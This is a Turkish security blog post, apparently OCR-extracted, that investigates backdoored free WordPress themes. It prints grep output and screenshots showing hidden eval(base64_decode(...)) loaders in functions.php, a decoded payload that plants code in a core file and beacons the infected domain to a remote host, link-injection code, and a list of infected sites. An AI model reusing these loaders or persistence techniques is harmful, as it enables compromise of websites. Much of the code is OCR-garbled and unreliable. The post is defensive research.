Arka Kapi Avi

written by Mert SARICA | 1 July 2019
If you are looking for an English version of this article, please visit here.

Eskiden bir blog yazisi veya bir sunum icin konu bulabilmek adina uzun
mesailer harcardim. Yillar icinde daha fazla kisiye ulasmaya basladikca
okurlarimdan, baglantilarimdan, takipg¢ilerimden gelen mesajlar, Cryptokiller
aracinin ortaya ¢ikmasinda oldugu gibi blog yazilarima, sunumlarima ilham
kaynagi olmaya basladi. Bu hikaye 2018 yilinin Mayis ayinda LinkedIn
baglantilarim arasinda yer alan Ozkan AKTEKIN isimli bir kisinin gdnderdigi

mesaj ile basladi.

Ozkan AKTEKIN mesajinda sahip oldudu bir ka¢ web sitesinin siirekli
hacklendiginden dem vuruyordu. Supheleri dogrultusunda hareket ederek
arastirmalarini belli bir noktaya kadar getiren Ozkan ile kisa bir goriisme
yaptiktan sonra durumun WordPress temasi kaynakli oldugunu 6grendim.
Yapilacaklar listesi (TODO) oldukca kabarik olan biri olarak bu konuya
egilmem biraz zaman almis olsa da farkindalik adina bu konuyu hem yaziya
dokmeye hem de Istanbul Bilgi Givenligi Konferansi‘nda sunmaya karar verdim.
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Temalari hizlica paketinden ¢ikardiktan sonra arka kapi tespitine yonelik

eval gibi belli basli anahtar kelimeleri bu dosyalar lUzerinde aradigimda,

cok

gecmeden tum temalarin functions.php dosyasinda yer alip base64 ile gizlenmis

bir karakter dizisi dikkatimi cekti.
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18tube/18tube/FT/inc/Tessc. php: protected function eva]uate($exp) {
18tube/18tube/FT/inc/lessc. php: £ (Srval == 0) Sthis->throwerror ("evaluate error: can’t divide by zero");
18tube/18tube/FT/inc/lessc. 3 Sthws >throwerror ("evaluate error: color op number failed on op '.%op);
18tube/18tube/FT/inc/ essc. T o * operators because it must evaluate to_a single value and thus is less
18tube/18tube/FT/inc/Tess, 5 property2: (10 -5); // should evaluate to

905-retro.1.3.5/905- r'etr'm/f nctions. Ehp eval (@file_get_contents(base64_decode("aHROCDOVL 3dwLmNvhS50ci93e150eHa=")));
abdmu/abdma/rummns php:eval (@file_get_contents{base6d. dé(udé("aHRU(DuvLdeLvabSSD(W‘Bew 50eHa=")));

ad ( Cache-Control: max-age=' . BROWSER_CACHE_MAX_AGE . *, must-revali BE
abdulo/abdulo/timthumb. php header (’cache-control: no-store, no-cache, must- revahdate, max-age=0");
abdu'\u/abdu'\u/FT/mc/'\essc php: * evaluation context, such as all available mixins and variables at any given

AC
root@ubuntu:~/temalar#

root@ubuntu:~/temalar# grep -R aHROCDovL3dwLmNvb550ci93ei50eHq *

18porn/18porn/functions.php:eval (@file_get_contents(base6d_decode (" aHROCDovL Idwt mNvbS50ci93e1 50eHq
18tube/18tube/functions. php:eval (@file_get_ cuntents(baseﬂ decode (" aHROCDOVL 3dwLmNvbs50ci93ei50eHa=")));
90s-retro. 1. 3. 5/90s-retro/functions. Ehp eval (@file_get_contents(bases4_decode(” aHRﬂ(DuvL!dnL.lvhsSﬂngmS(IEH(F )N
abdulo/abdulo/functions. php:eval (@fi et_contents{base64_decode (" aHROCDOVL 3dwimNvbS50ci93eis0ea=")));
accelerate/accelerate/functions. php:eval (@File_get_contents(base64_decode (" aHROCDOVL 3dwLENVbS50cT93e150eH0=")))
accesspress-root.1.22/accesspress-root/functions.php:  eval (&F1le_get_contents (baseb4_decode (" aHROCDOVL 3dwlmNvbS50ci93eis0eHa=")));
accesspress-store.l.1.8/accesspress-store/functions. php:eval (@file_get_: cnntents(baseﬂ decode (" aHROCDoVL 3dwLmNvbS50ci93ei50ene=")));

acmeb'\u% 1.1.7/acmeblog/functions. php:eval(@file_( %e( contents (base64_decode (" aHROCDOVL 3dwLmNvbS50ci93ei50eHa=")));
Activello/activello-master /functions. php eva'\ (efile_get_contents(bases4_decode(” ankncmvudm-whssncw;msnenq 93
adamos. 2. 8/adamos/functions. php: al(file_get_contents (base64_decode (" aHROCDOVL 3wl mNvbS50Ci 93e150eHa=")})

adulttema/adulttema/functions. php:eval (@Fﬂe get_contents (base6d_decode (" aHROCDOVI 3dwi mNvbS50Ci 93ei 50ema=")))
aduhtheme/adu'\Ltheme/v’unctwns php:eval(&file_get_contents(baseé4_decode(" aHROCDOVL 3dwLmNvbS50Ci 93ei50eHQ=" “33);
adventurous. 1. 8.3/adventurous/functions. php:eval(&file_get_contents(base64_decode(" aHROCDOVL 3dwLmNVbS! 50(19321502nq ")
afford.1.0.1.2/afford/functions. php:eval(@file get_contents(base6d_t decode ("aHROCDOVL 3dwLmNvbs50Ci 93ei50eH0=")));
afia.1.2.3/afia/functions. php:eval (&File_get g cnntents(baseeA decode (" aHROCDOVL 3dwi mNVbS50ci93e1 506l
afterhght 1.0.2/after Tight /functions. php:eval (@Fﬂe get contents (base6d_decode( ' aHROCDO! sduuuvhssuugsmsuenq HDPIR
glee-1iTe.1.0.10/aglee- et Funct roms, pﬁp eval (@fil —get _contents (base6d_decode (" aHROCDOVL IdwLmNvbs50ci93ei50era="3));
wafy/naxwf%//mncmuns php:eval (@file_get_contents(base¢4_decode(” annncmvl_sdm_mvbsmcwzmSnem— )
chem.1.1.4/alchem/functions. php:eval(@file_get_contents(base64_decode("aHROCDOVL 3dwLmNvbs50Ci93ei50eH0=")));
aliexpress/aliexpress/functions.php:eval (@fiTe_get_contents(base64_decode (" aHROCDOVL 3dwlmNVbS50Ci93e150eH0=")});
allegiant.1.0.8/allegiant/functions. php:eval (&F1le_get_contents (baseb4_decode( " aHROCDOVL 3dwLmNvbS50cid3ei S0eHa=")));
anax o FL L] Gns. php:eval (@file_get_contents(base64_decode (" aHROCDOVL 3dwLmNvbS50ci93ei50eHq=")));
amethyst.1.1. 0/amechysc/Funct1uns pﬁp eval(afile_get_contents(base6d_decode(” aﬂchDuvL!dm.mvhsSDmg;mSOenq "));
amp'land/amp'\andffuncmuns php:eval (@fﬂe get_contents (base64_decode (" aHROCDOVL 3dwLmNvbs50Ci93ei50eHa=")));
ample.1.0.2/ample/functions. php:eval (&file_get_contents(base64_decode(” aﬂkucmvummvhssucw;msueuq ));
anaglyph-1ite.1.3/anaglyph-1ite/functions. php:eval(Gfile_get_contents(base64_decode( " aHROCDOV L 3dwtmNvbS50C1 931 50eH0=")));
aperture.1.1.7/aperture/functions. php:eval(&File_get_contents (basetd_decode (" aHROCDOVL 3dwl mNvbS50ci 93ei 50el
appointment-blue.1.1.1/appointment— bgue/ﬂmcuuns php:eval (&F11e_get_contents (base64_decode (" aHROCDO 3dm_mvb550c193e1502w")))
appointment-green.1.0.2/appointment-green/functions.php:eval (&file get_contents(base64_decode(” aHRﬂ(I)nvL}dnL.lvbSSﬂ(19!e1S(IEHQ— )):
appointment-red.1.1.1/appointment-red/functions. ghp eval(efile_get_contents(base64_decode (" aHROCDOVL 3dwimNvbs50ci93eis0eHa=")))
aqueduct.1,5.6/aqueduct /Functions. php: eval(@file_get_contents (base64_decode(”aHROCDOVL 3dwLmNvbS50cT93e150eH0=")1);
arcade-basic.1.0.6/arcade-basic/functions. php:eval (éf i1e_get_contents (base64_decode (" aHROCDOVL 2dwl mNvbS50ci93ei 50eHa=")));
arenatube/arena(ube/!’uncnDns php:eval (&file_get_contents{base4 decode("aHROCDOVL 3dwimNvbs50ci93ei50eto=")}};
ar .1.1.8/arise/functions. php;eval (@file get contents(base64_decode("”aHROCDOVL 3dwLmNvbs50ci93ei50eHa=")));
Arkham/m‘khamffun((mns p:eval (@file_get_contents(base64_decode (" aHROCDoVL 3dwimNvbs50ci93ei 50el
.1.0.7/aron/functions. php eval (Bfile_get_contents(basebs_decode(” aHROCDOVL 3dwl mNvbS50ci93e150eHa=")));
Sroraias 2/arora/functions. php:eval (@file_get_contents (base6d_decode(" -unumuvudnuuvbsmag;asueuq 13933
ascent/ascent/functions.php:eval (&f1ile_get_cantents(base6d_decode (" aHROCDOVL 3dw mNvbs50ci9lei
athena.1.0. /athena/mncnuns php:eval (@Fﬂe get_contents(base64_decode(" aHROCI DavL!dm.mvhsSOag;msoenq "))
auberge/auberge/mncmuns php: al(efile_get_contents(base64_decode (" aHROCDOVL 3dwLmNv] hssncw;msﬂem "))
automotive/automotive/functions. php:eval (@fﬂe get_contents (base64_decode (" aHROCDOVL 3dwLmNVBS50C 93ei50eH="))) :
automotive2/automotive2/functions. php:eval(@File_get_contents (basebd_decode (" aHROCDOVL 3dwl mNvbS50Ci 93ei 50eHq=")));
AutoRepairshop/AutoRepairshop - car Mechanic Shop WordPress theme Free bDownload/functions. php:eval(@file_get_ contents (base6d_decode (" aHROCDOVL 3dwlmNvbS50ci93ei 50eHq=")));
Avenue/avenue,/functions.php:eval (@file_ ge( contents(base6d_decode (" aHROCDOVL 3dwLmNvbs50ci93ei 50eHa=")
aviator.l.0/aviator/functions. php: val(efile_get_contents (base64_decode(” ankncmvudmmvhssncw;msuenq 20
avis-lite.1.0.3/avis-lite/functions.php: eva'\ (@file_get_contents(base64_decode("aHROCDOVL 3dwLmNvbS50Ci 93ei 50eH0=
awesomeone. 1. 2. 6/awesomeone/functions. php:eval (@fiTe_get_contents (basebs_decode( " aHROCDOVL 3dwlmNvbS50¢193e1 50eH0: 30
aviptube/awp/functions. php:eval (&file_get_contents (base64_decode ("aHROCDOVL 3dwlmNvbS50ci93ei 50ehq="
azeria.l.1.0/azeria/fFunctions. phpieval (@File ?et _contents (base64_decade(" aHROCDO VL 3dwLaNvbs 50C 93¢ 50e eHo=")));
badjohnny. 1. Gl/bad]uhnny/fun[tmns php:eval(afile_get_contents(base64_decode( " aHROCDOVL 3dwimnvbs50ci 93ei50eHa="1));
bakery/bakery/funciions.php:eval (@file_get_contents(base64_decode (" aHROCDOVL 3dwimNvbS50Ci93ei50eH0=")));
Ba]ena/Ba'\ena/functmﬂs php:eval (@file_get_contents(base64_decode (" aHROCDOVL 3dwLmNvbS50ci93ei 50eHq=")));
bbird-under. 4/bbird-under /functions. php:eval (& i1e_get_contents (base64_decode( " aHROCDOVL 3dwl mNvbS50Ci93ei 50eH0=")))
beat-mix- ht J. 0.7/beat-mix-lite/functions.php:eval(@file get contents(base64_decode("aHROCDO! Lsdm_-wbsmng!mSoehq—"))),
bhost.1.2.7/bhost /Funcmuns php;eval(afile get_contents(base64_decode("aHROCDOVL 3dwLmNvbS50Ci93ei50eH=" ))),
Bmary/mnaryffun(muns php:eval (@fiTe_get_contents(base64_decode (" aHROCDOVL 3dwi mNvbS50ci93ei 50eHq="
biography.1.0.6/bio raphx/functmns php:eval (@file_get_contents(base6d_decode( " aHRO Duvum-uvhssucwsmsuenq_ 1));
birthday-gift.1.0.2/birthday-gift/functions. php: eval (&f11e_get_contents (base6d_decode " aHROCDOVL 3dwLmNvbS50ci93ei50eHa=")));
biscayalite.2.1. 1/bwgcayahte9fun<tmns php:eval(efile_ger_contents (base6d_decode( " aHROCDOVI 3dwt muvbs50ci 93ei50eHa=")));
Bistro/Bistro/functions. php:eval (&file_get_contents(base64_decode (" aHROCDOVL 3dwimNvbs50Ci93ei 50el )
blacktube/blacktube/functions. php:eval (@fiTe_get_contents (base64_decade(” aHRn(vaadanvhssucw;msneuq 133
blask.1.0.4/blask/functions. php:eval (&File_get_contents(base64_decode (" aHROCDOVL 3dwi mNvbS50ci93ei50eHq=")
bloga.1.0.6/bloga/functions. php:eval (&file_get_contents(base64_ decude("-unucnnvudnunvhssuﬂgsﬂsuem,“)))
blogaster.1.0.4/blogmaster /Functions. php:eval (&file_get_contents (basebd_decode(" aHROCDOVL 3dwl mNvbs50Ci 937 50eHa=")));
blogr.1.1.1/blogr/functions. php:eval (@ﬁ?e get_contents (base64_decode (" aHROCDOVL 3dwLmNvbs50Cci93ei50eHe=")));
A

\C
root@ubuntu:~/temalar# I



root@ubuntu:~/temalar# grep -R aHROCDOVL3dwLmNvbS50ci93ei50eHq * | we -1
6

rootGubuntu:~/temalar# I

Bu karakter dizisini Google arama motorunda arattigimda ise temalari hem

glivenlik hem de kod kalitesi amaciyla denetleyen oldukca faydali bir site
(http://themecheck.info/) ile karsilastim. Bu karakter dizisine konu olan ve

indirdigim temalar arasinda da yer alan bir temada ciddi anlamda sipheli olan

kod parcalari oldugu bu sitenin denetimi sonucunda hemen gbéze carpiyordu.

G 2HROcDov3dwlmNubS: X

aHROcDovL3dwlmNvbS50ci93ei

< C ) | & Secure | https://www.google.com.tr/search?:

(@) Hack Career Infor [i] Linkedin W0 Mert SARICA (mert= M Inbox - mertsarica®
Go g|e aHROCDoVL 3w LmNVbS50c836i506HQ L Q

Al Images  Videos  Maps  News  More Setiings  Tools

8 results (0.30 seconds)

Adult theme - WordPress - Review - Themecheck®

themecheck org/scoreordpress-ineme-adult-theme(3).htmi

Line 145: eval(@file_get_contents(base64_decode(aHROCDovL 3dwLmNvb $50ci93ei50eHQ=))}
Security breaches : Use of backiicks execution operators in

Adult theme - WordPress - Review - Themechecke

themecheck org/scorewordpress-iheme-aduit-theme(s).htmi ~

Line 145: eval(@file_get_contents(base64_decode(aHROCDoVL 3dwLmNvbS50ci93ei50eHQ=))}
Security breaches : Use of backticks execution operators in

Adult theme - WordPress - Review - Theme Check®

themecheck org/scorewordpress-theme-aduit-theme(2).himi ~

Line 145: eval(@file_get_contents(base64_decode(aHROGDoVL3dwLmNvb S50i93ei50eHQ=))}
Security breaches : Use of backticks execution operators in

Adult theme - WordPress - Review - Theme Check®

themecheck orgiscorewordpress-iheme-adult-theme(4).htmi ~

Ligne145: eval(@jile_get_contents(base64_decode('aHROCDovL 3dwl mNvbS50ci93eis0eHQ=1))
Security breaches : Use of backiicks execution operators in

Adult theme - WordPress - Review - Theme Checke

themecheck org/scorewordpress-theme-aduit-theme(1).himl ~

Ligne145: eval(@file_get_contents (base64_decode('aHROCDovL 3dwl mNvbS50ci93eis0eHQ="))
Security breaches : Use of backiicks execution operators in

Spacious - WordPress theme - Review & Download - Theme Checke®
themecheck org/scorewordpress-theme-spacious-v1_2_7.ntml v

Line 123: eval(@file_get_contents(base64_decode(aHROCDoVL 3dwLmNvb $50cio3ei50eHQ=))}
Security breaches : Use of base64_decode() Found

wp.com.tr 'den tema indirmeyin! - R10.nete

hitps:/www.r10.net » Wordpress Genel > WordPress v Translate this page

May 7, 2016 - eval(@file_get_contents(base64_decode("

aHROCDovL 3dwLmNvbS50ci93ei50eHQ="))).. php bilgim oldugu cin bir sayfay cagirdigimi

Google Fan Webmaster Forum - Tekil Mesaj gésterimi - wp.com.tr 'den ...@
hitps:/iwvaw.r10.net1071598601-post1.himi v Transiate this page

May 7, 2016 - eval(@file_get_contents(base64_decode("
aHROCDovL3dwLmNvbS50ci93ei50eHQ=")).. php bilgim oldugu cin bir sayfay cagirdigini

e =5 x
%4 O MyGBa :
Other bookmarks

0 &


http://themecheck.info/

Q) Adult theme - WordPres: X

M= - x
< C 1) | ® themecheckorg/scor -adult-theme(1).html Y (o) B‘n Qn !!'n a
@) Hack4 Career. infor [ Linkedin W Mert SARICA (meris ™M Inbox - mertsaricat Other bookmarks

\/ THEME SUBMIT CONTACT
CHECK

Adult theme

\ 25 WARNINGS

Adult theme

WordPress 4 eme

) Adult theme - WordPres: x

Wed  — X
« C 1 | ® themecheck.org/score/u -adult-theme(1).html g (o] ﬁ:‘n Qn !!ln a
0) Hack4 Career. Infor B Linkedin W Mert SARICA (me M Inbox - mertsaricat Gther bookmarks

THEME
M CHECK ¥

Critical alerts

Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file
FT_scope.php. Every call to the add_setting0) method needs to have a sanitization callback function passed.

Title : Title No reference to add_theme_support( "title—tag"™ ) was found in the theme.The theme needs to have <title> tags, ideally in the
header_php file.The theme needs to have a call to wp_titie(), ideally in the header.php file_The <title> tags can only contain a call to wp._title().
Use the wp_title filter to modify the output.

Security breaches : Use of eval() Found eval in file functions.php.

Ligne1es: eval (éf: ntents(basess_decodet ' aHRECDOVLIGHLMINDSS0CIZ3E158eHg=")))

Security breaches : Use of backticks execution operators in PHP code Found " in file timthumb.php.

Ligne7es: Sout = “Sexec -o1 Stempflle’; //you can use up to -07 but it really s:

Ligne7ss: Sout = “Sexec Stempfile Stenpfiles’;

Lignes73: Sout = “Scommand’;

Security breaches : Use of base64_decode() Found base64_decode in file functions_php.

Ligne1es: eval(§file get_contents(basess_decode(’ 3HRACOOVLIGMLINVDSSACTSIe15REHR=")));

Found base64_decode in file timthumb.php.

Lignez27: $ingData - basess_decode( '

Google’1in arama sonuc¢larina bakmaya devam ettigimde bu defa rl0.net sitesi
Uzerinde 2016 yilinda yazilmis bir mesaj dikkatimi cekti. Mesaji yazan kisi
sagolsun zararli kod bloguna yer vermekle kalmayip, arka kapi yuklu sitelerin
bir listesinin tutuldugu dosyasinin adresini de paylasmisti.


http://www.r10.net
https://www.r10.net/1071598601-post1.html

[P —

1

|_ wp.com.tr ‘den tema indirmeyint permalink

Merhaba wp.com.tr den bir blog temas: buldum ama kurarken biraz sipelendim function.php iginde soyle bir kod buldum

PEIp- Kodu:

}eva](@h‘le_get_cante“ts(base54_d=mde(“zHRB('}B*. L 3duLmllvbS5Oci3ei:

"M

php bilgim oldugu icin bir sayfay cagirdigini biliyordum burda kodu decode etttim

Atz

http:/fwp.com. trjwz.txt

sovle bir sayfa akt icini actm ve

PH1P- Kodu:

etond();
2in. " /up- includes/fonts/Font.php" ;iF ( file exists( $yol ) ) {

@touch(syol);

@5h = '<?php eval (bases4_decode("DQpLcndveloyEXBVEnRabNCONCK7D0
@Skayit = fopen(syol, "a");

@furite(skayit,5n);

@furite(Skayit,"\r\r");

@ felose(Skayit);

28 2uXINEYXIONCK

if(efunction_exists("curl_init")){
@Sget_verileri = "3=//".5_SERVER['SERVER_NAVE'l;

@curl_setopt( Sch , CURLOPT_URL , "http://up.com.tr/alankontrol/1.php?".Sget_ver

Jelseif(@function_exists("file_get_contents")){

@file get_contents("http://up.com.tr/alankontrol/1.phpla=//" .5_SERVER 'SERVER_NA
Jelse{

"

b

oldugunu gordum buyuk ihtimal ilerinde shell var domainleri biyerde tutuyor dikkat etmenizde fayda vardrr bilginize Konu yalnis yerdeyse litfen beni uyann moderetorlere bildiriyim dogru isine tasiyalim.

kaydedilen domain listesi

e
[ tp://wp.com.tr/alankontrol/salo_davaro_salako.txt

[ wp.com.tr/alankontrol/salo_dav: X + - X
€ C ¥ @ Notsecure | wp.com.tr/alankontrol/salo_davaro_salako.txt £°3 ome man @ o0

@) Hack4 Career. Infor: [l Linkedln N Mer

ARICA (mertse M Inbox - mertsarical Gther bookmarks

ceskepornovidea.cz/
hdpornquesns . con/
buycheap.uebsite. tk/

v cameratub . con/
hotfuck.org/
arabasex.con/

vids3k.com/

vam FFFF . dev.cc/

i novinhasdanet. tk/
milfcans.ga/

tamilbigboss. tk/
xvideossexogay. com/
gaysexvidshd.cf/
credpar . con.br/
porncompilationxxx. com/
i kariyerdunyasi.org/
26.101.18.120/
Letopduporn. fr/

tena. nudesdosfanosos .con/
milf.moe/

18.218.157.196/
negrosfollando. com/
mooodballbusting.hebergratuit.net/
i araindirizle. con/
turkpornoral. con/

demo. collectionofporn.us/
vidbokepsex. com/
isex.esy.es/
aiushars.pro/
hediyepornoral. com/

sam vegliesstelle.org/

functions.php dosyasinda yer alan kod bloguna baktigimda, ana sayfaya
http://www[.]fabthemes.com/fabthemes.php?getlink= adresinden istenmeyen
baglanti adreslerinin cekilmesini, eklenmesini saglayan footer.php
dosyasindan cagrilan fflink() fonksiyonunu ve uzaktan komut calistirmaya

imkan taniyan eval() fonksiyonlarini gordum.



GNU_nano

: The template for displaying the footer.
: Contains the closing of the #content div and all content after
* @package fabthemes
?)/
</divs<!-- #content -->

<div id="footer-widgers” class="clearfix">
<div class="container™> <div class="row">
<2php dynamic_sidebar( ~footerbar” ); >
</divs</div>
</div>

<footer id="colophon” class="sitefooter” role="contentinfo">
<div ('Iass— container™> <div class="row™>
<div class="col-md-12">
<div class="site-inf
<o r1$ht &copy; <] hp echo date("¥');?> <a href="<7pl ogonﬁ)( url®); >" title="<?php bloginfo(*name’); 7>"><?php bloginfo("mame’); ?»</a> - <?php bloginfo("description’); 7§
/d g T <a href—"hn:p //Fabthemes. com/<?pl FT_scope: :tool ()->themeName ?>/" ><Zphp echo FT_scope::tool()->themeName ?> wordPress Ti EVIIE<9
</dive<t—— 51 e 1
</div>
</divs</div>
</faater><!-- #colophon -->
</div><!-- #page -->

<?php wp_footer(); 2>
<script type= text/ avascript

y Jouery (. ad™). backstretch( "<?php echo ft_of_get option(’fabthemes_header~,""); 7>");
</script>

bod
ploae

XY write out where Is B3 cut Text AJ| ]i‘sﬁf¥ X§ cur_Pos Iy undo Mark Text To Bracket
&l Read File Replace Al uncut Text B To spell M co o Line ¥ redo

Copy Text whereIs Next JJ

j Previous Back Prev word
Next Foruard Next word

‘desc’ = 7,
-

<rdivsT

<div class="alignleft"><p><label for="<?php echo $field_type_object—>_id( ’_minutes’ ); ?>'">Minutes</label></p>
<?php echo $field_type_object—>input{ array(
class” => “cmb_text_small’

‘name’ > $field_type_ object->_name( Iminuces] ),

8= Stield nypesobjece STl im
‘value” => Svalue[ “minute:
‘desc’ =
J )
</div>

Ana sayfaya istenmeyen
baglanti adreslerini eklene
fonksiyon (fflink)

echo “<br>';

echo sfield_type_object-»_desc( true );
i
/% credits =/

funcnon selfurL() {

Suri = i55eT(S_SERVER['REQUEST_URI']) 7 $_SERVER['REQUEST_URT'] :
3 SERVER[ "PHP_SELF"

$uri = parse_ urT(Surw PHP_! URL PATH)

$protocol = $_SERVER["HTTPS"] ? hrtps' : 'hrip”;

§port — ($_SERVER["SERVER_PORT"] TBOR)ETAET o (" . $_SERVER[ "SERVER_PORT"]1);
§server = (5_SERVER["SERVER NAME'] == 'In(a'ltnst )
§_SERVER [ "SERVER_ADI §_SERVER [ "SERVER_NAME
return §protocol.™://". sserver. $port. $uri;

Ffunction Ff1ink() {

global Swpdb, 5wp,quer¥

if (lis_page() && !is_front_page()) return;

$contactid = Swpdh ->gat_var ("SELECT ID FROM $wpdb->posts

WHERE posT_type = "page” AND post_title LIKE "cont: i
if ((Smma(nd '~ Swp_query->post->ID) && ($contactid |1’
1i5_front_page())) return;

$FFTink = get_option( "FFlink’);

‘ffref = get o tion( *Ffref’);

§x " DKSWEYUW* *

If ( éff'hnk I| SK && (Sx — §ffref)) {

Sffref :
Iresponse pr REtp: //www. Fabthemes. com/fabthemes. phe2
if (is_array(Sres Dnssg) thnk = srespunsa[ body™]; else SFf
if (SubstrgffhnE

rq;”get'hrk— urlencode(selfuRL(,

FAR Uzaktan komut galistiriimasini
1§f112§e¥(§¥¥17555§) ﬁf}gﬂmk[zn t saglayan komut

update_option( ffr:
d. 1 ri: i k 5
updae optond-FTTink’, STF1in £ (http://wp.com tr/wz txt)

%152 $Fflink = *°;

I
§(hl $FF1ink;

eval (@file_get_contents(base64_decode ("aHROCDOVL 3dwimNvbs50ci93ei 50eHe=")));

Prev word
Next wWord

Previous Back
Forward

Mark Text To Bracket
Copy Text whereTs Next

;] Write Out where Is By Cut Text A Just'\f & Cur Pos WY undo
X Read File Replace M Uncut Text To SpE M Go To Line IR Redo

http://www[.]fabthemes.com adresini ziyaret ettigimde ise http://wp[.]com.tr
gibi bir tema sitesi ile karsilastim. Bu sitedeki tim temalari da indirdikten
sonra yine ayni sekilde eval() fonksiyonunu aradigimda http://wpl[.]com.tr
sitesindeki temalarda oldugu gibi functions.php ve footer.php dosyalarinda
zararli kod bloklari oldugunu gordim. Burada yer alan temalardaki
functions.php dosyasindaki base64 ile gizlenmis karakter dizisi
http://wp[.]com.tr sitesindekilerden farkli oldugu
(ZXZhbChAZm1sZVInZXRfY29udGVudHMoImhOdHA6LY95YWthbGFkaWlzaXppLmNvbS95YWIhbmNp
L3gudHhOIikpOw==) dikkatimi c¢ekti.
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Index of /get

Last modified Size Description

Parent Directory. -
Ajaxify zip :
Askham.zip 2017-07-02 11:47 569K
Atlantis zip 2017-07-02 12:08 315K
Avenue zip 2017-07-02 1 444K
Axis zip 2017-07-02 12:12 472K
Balena zip 2017-07-02 12:22 824K
Binary.zip 2017-07-02 12:25 262K
Boston zip 2017-07-02 12:27 262K
Boxoffice zip 2017-07-02 1.

Bronte zip 2017-07-02 1.

Canyon zip 2017-07-02 12
Carmen zip 2017-07-02 1.
Celestazip 2017-07-02 1.

Cupid zip 2017-07-02 1.

Delphi zip 2017-07-02 13:00 301K
Diavlo.zip 2017-07-02 13:01 535K
Dione zip 2017-07-02 13:02 346K
Diango zip 2017-07-02 13:04 168K
Drustan zip 2017-07-02 13:05 415K
Ebuy.zip 2017-07-02 13:06 293K
Edivoszip 2017-07-02 13:07 170K
Elessa zip 2017-07-02 13:08 301K
Enigma zip 2017-07-02 13:09 302K
Faith zip 2017-07-02 13:12 397K
Financio zip 2017-07-02 13:13 137K
Firecrow zip 2017-07-02 13:13 590K
Erontier.zip 2017-07-02 13:13 163K
Galleria zip 2017-07-02 13:13 601K
Garvan zip 2017-07-02 13:20 256K
Gears zip 2017-07-02 13:20 523K
Gordon zip 2017-07-02 13:21 432K
Halifax zip 2017-07-02 13:21 161K
Hectorzip 2017-07-02 13:21 245K
Heli atrimony.zip 2017-07-02 13:21 233K
Helix zip 2017-07-02 13:21 453K
Horcrux zip 2017-07-02 13:21 387K
Irene zip 2017-07-02 15:18 943K



root@ubuntu: —/fabthemes. con? grep_—|

A]ax1fy/A]ax1fy/funztlons ﬁhp ev.ﬂ(basem ﬂetone( zxznbcmzmszvsnzxnfv a5V
Ajaxify/AajaxiFy/timthumb. php: head e-Contral :

ajaxi fy/ajaxify/timthumb. php: o D e
Ajaxify/ajaxify/rimthumb. php: header ("cache-control:
Ajaxify/ajaxify/timthumb. php: header ('cache-control: no-sta
Ajaxify/Ajaxify/FT/inc/lessc. hp = evaluation context,
A]axwfy/A]amfy/FT/Wn(/'\ESS(. p:

ajaxify/ajaxify/FT/inc/lessc. hp:
Ajaxify/ajaxify/FT/inc/lessc. php:
Ajaxify/ajaxify/FT/inc/lessc. h

max-age="

return Sthws—>ev-1uats(5va1us);
// evaluate an expressiol
protected function eva1uatE(§Exp)

root@uburrtu ~/fabthemes. com# i

‘afrer_title” = "</h3>",

DH
i}
add_action( ‘widgets_imit", “fabthemes_widgets_imit" ):
o
= EmuEIIE scripts and styles
functmn fabthemes_scripts() {
wp_enqueue_style( le®, get_styleshest_uri() );

wp_enqueue_style( rid’, get_template directory | urw()
wp_enqueue_style( "theme®, get_template_directory_uri() .

ss/grid.css”);
*/css/theme. css7);

no-store, no-cache, must-revalidate,
no-store; no-cache, must-, mvﬂmam, max-age=

BROWSER_CACHE_MAX_AGE . '
re, no-cache, must-revalidate, max-age=0
such as all available mixins and variables at any given

{
($rval — 0) $this->throwerror ("evaluate error:

2aXppLMNVBSISYWIhbMNL 3gudHhOI1kpow=="));
max-age=0');

0');
. r!mst revalidate’);

canr divide by zero™);
op

Ajaxify/Ajaxify/FT/inc/lessc. hp: sthis->throwerror (" evaluate error: color op number failed on ap
A]ax1fy/A]ax1fy/FT/1nz/'\esst. P * aperators because it must evaluate to a 51ng'\e value and thus is less

]axwfy/A i Fy/FT/inc/Tessc property?: (10 -5); // should evaluate to

Arkham, E unctions. php Eva%(base@t decode (" zxzhbc lll]sZVQr\ZXRfYZDudGVudHMOIIIIhOdHASLyQSYWI:hbGFkawllaxplellNVbSDSYNJhmepLBQHdHhOIIk w=="3));
Arkham/Arkham/ uncrions. R p:eval(base64_decode(” zxzhbchAzm'lszvsnzxufvzsudavudHmomhodHAﬁLyssmhbcpkawlzaxpmeva59§WJhbmupngudHhonkpm—')):
Arkham/Arkham/timthumb. header ("cache-Control: no-store, no-cache, must-revalidate, max-age=0');

Arkham/Arkham,/t1mt humb . ph header e Covicrn] S na store, no-cache, must-revalidate, max-age=0')}
Arkham/Arkham,/timthumb . ph ader ("Cache-cControl: max-age BROWSER_CACHE_MAX_AGE . ', must-revalidate');
Arkham/arkham/timthumb. phi header (" ca\:he control: no-store, no-cache, must-revalidate, max-age=0'};
Arkham/arkham/FT/inc/Jessc. : * evaluation \:Dntext. such as al1_available mixins and variables at any given

Arkham/arkham/FT/inc/lessc. php: eturn $this->evaluate($value);

Arkham/Arkham/FT/inc/lessc. php: // evaluate an Expressum

Arkham/Arkham/FT/inc/lessc. php: protected function gvﬂuate(sexp) L

Arkham/arkham/FT/inc/lessc. 3 if (Srval 0) $this->throwerror ("evaluate error: can’'t divide Izy zero™);
Arkham/arkham/FT/inc/lessc. §t hws >thrw£rror( evaluate error: color op number failed on op op);
Arkham/arkham/FT/inc/lessc. * operators because it must evaluate to_a single value and thus is Tess

Arkham/rkham/ET/inc/Tessc. property?: (10 -5): // should evaluate to

Avenue/Avenue;/Functions. php: e a](base&s decode (" ZXZthhAZm]sZVDnZXRFYZEudGVudHMoIthdHAﬁLyDSthhbGFkaleaprLvabSBSYNJhmepL}gudHhOIlkpﬁw: ;s
‘Avenue /Avenue,/timthumb. ﬁ header ( 'Cache-Contral: no-store, no-cache, must-revalidate, max-age=0');
Avenue/Avenue,/timthumb. ph header ('cache- corrtnﬂ no-store, no-cache, must-i revalidate, max- ag 0');
Avenue/Avenue/timthumb. ph header ("Cache-Control: max-age=' . BROWSER_CACHE_MAX_AGE . ", must- revalidate');
Avenue/Avenue,/timthumb. ph header ('Cache-Control: no-store, no-cache, must-revalidate, max-age=0

Avenue/Avenue,/FT/inc/lessc. php: * evaluation context, such as all available mixins and variables at any given

Avenue,/Avenue,/FT/inc/lessc. php: turn stms-mvﬂuata(svﬂug

Avenue/avenue/FT/inc/Jessc. : // evaluate an EXD

Avenue/avenue/FT/inc/lessc. i protected function eva‘luate(iexp) 4

Avenue/Avenue/FT/inc/lessc. 2 $rval == 0) Sthis->throwerror("evaluate error: can't divide by zero™);
